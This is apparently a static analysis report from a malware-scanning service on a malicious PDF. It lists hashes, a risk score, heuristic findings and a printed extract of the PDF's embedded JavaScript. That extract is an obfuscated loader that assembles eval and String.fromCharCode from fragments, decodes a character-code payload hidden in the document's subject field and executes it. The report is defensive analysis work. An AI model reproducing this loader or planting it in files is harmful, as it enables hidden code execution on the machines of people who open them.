Malicious PDF — malware analysis report

Static analysis result for SHA-256 91c62fc2fdcfb84a…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2012-06-14
MD5: bf00bb64286089dc855a34198f0e8b87 SHA-1: 3462291f717a6d8060da76bb55ded8ad76fdb4d2 SHA-256: 91c62fc2fdcfb84a670e745fd21756fbfbc84bd13eaca6f93a840e814a2c0994
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code or download a secondary payload, contributing to the overall suspicious nature of the document.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEF5 447 bytes
SHA-256: 477bb2a6a5e2c035ef96eab508f3b590bc3e83c5d7337390d3397b542244e92f
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
iqu=e('ti'.concat(v[4],t));
q=iqu[v](a.length-6,a.length+2);
wrqrw=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=iqu[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	qxfzt = 1*(q[i]);
	i++;
	qxfzt -= (-1)*(q[i]);
	s2 = s2.concat(wrqrw(qxfzt));
	i++;
}
e(s2);

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